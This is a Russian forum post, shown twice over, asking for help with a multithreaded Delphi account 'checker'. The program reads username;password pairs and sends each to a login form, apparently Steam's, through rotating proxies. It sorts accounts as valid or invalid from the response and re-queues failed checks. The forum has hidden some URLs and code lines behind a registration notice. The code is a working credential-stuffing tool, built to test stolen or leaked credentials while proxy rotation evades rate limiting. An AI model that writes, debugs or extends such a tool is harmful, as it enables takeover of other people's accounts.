Steam~
07.08.2012, 12:51
Пишу многопоточный чекер с проксями, многопоточность написана, работает как часы, но вот когда подключаешь прокси не валидные акки в валидный записывает(и на оборот), до конца по всему списку аккаунтов не доходит(при большом кол-во). Что не так? и как исправить..
Вот код потока
procedure TNewThread.Execute;
var CurAcc:integer;
data:TstringList;
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
ps, pp,resultt:string;
begin
while Work do
begin
CS.Enter;
inc(tp);
Inc(Acc);
if Acc<Accounts.Count then CurAcc:=Acc else Work:=false;
if tp=Proxys.Count-1 then tp:=0;
CS.Leave;
if Work then
begin
FAcc:= Copy(Accounts[CurAcc],1,Pos(';',Accounts[CurAcc])-1);
FPas:= Copy(Accounts[CurAcc],Pos(';',Accounts[CurAcc])+1,Length(Accounts[CurAcc]));
ps:=Copy(Proxys[tp], 1, Pos(':',Proxys[tp])-1); //Копируем адрес
pp:=Copy(Proxys[tp], Pos(':', Proxys[tp])+1, Length(Proxys[tp])); //Копируем порт
http := Tid[Ссылки могут видеть только зарегистрированные и активированные пользователи]
Data := TStringlist.Create();
try
data.add('loginForm_default_username='+FAcc);
data.add('loginForm_default_password='+FPas);
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
[Ссылки могут видеть только зарегистрированные и активированные пользователи](pp);
try
resultt:=[Ссылки могут видеть только зарегистрированные и активированные пользователи]('[Ссылки могут видеть только зарегистрированные и активированные пользователи]',data);
except
rez:=0;
end;
if pos('loginErrorMessage',resultt)<>0 then rez:=-1
else
if pos('[Ссылки могут видеть только зарегистрированные и активированные пользователи]',resultt)<>0 then rez:=1
else
rez:=0;
Application.ProcessMessages;
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
data.Free;
finally
end;
Synchronize(Sync);
end;
end;
dec(Thread);
if Thread=0 then ShowMessage('OK');
end;
на каждый новый цикл берется новая прокся, при рез=0 аккаунт записывается в конец списка для повторной проверки
Вот код потока
procedure TNewThread.Execute;
var CurAcc:integer;
data:TstringList;
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
ps, pp,resultt:string;
begin
while Work do
begin
CS.Enter;
inc(tp);
Inc(Acc);
if Acc<Accounts.Count then CurAcc:=Acc else Work:=false;
if tp=Proxys.Count-1 then tp:=0;
CS.Leave;
if Work then
begin
FAcc:= Copy(Accounts[CurAcc],1,Pos(';',Accounts[CurAcc])-1);
FPas:= Copy(Accounts[CurAcc],Pos(';',Accounts[CurAcc])+1,Length(Accounts[CurAcc]));
ps:=Copy(Proxys[tp], 1, Pos(':',Proxys[tp])-1); //Копируем адрес
pp:=Copy(Proxys[tp], Pos(':', Proxys[tp])+1, Length(Proxys[tp])); //Копируем порт
http := Tid[Ссылки могут видеть только зарегистрированные и активированные пользователи]
Data := TStringlist.Create();
try
data.add('loginForm_default_username='+FAcc);
data.add('loginForm_default_password='+FPas);
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
[Ссылки могут видеть только зарегистрированные и активированные пользователи](pp);
try
resultt:=[Ссылки могут видеть только зарегистрированные и активированные пользователи]('[Ссылки могут видеть только зарегистрированные и активированные пользователи]',data);
except
rez:=0;
end;
if pos('loginErrorMessage',resultt)<>0 then rez:=-1
else
if pos('[Ссылки могут видеть только зарегистрированные и активированные пользователи]',resultt)<>0 then rez:=1
else
rez:=0;
Application.ProcessMessages;
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
data.Free;
finally
end;
Synchronize(Sync);
end;
end;
dec(Thread);
if Thread=0 then ShowMessage('OK');
end;
на каждый новый цикл берется новая прокся, при рез=0 аккаунт записывается в конец списка для повторной проверки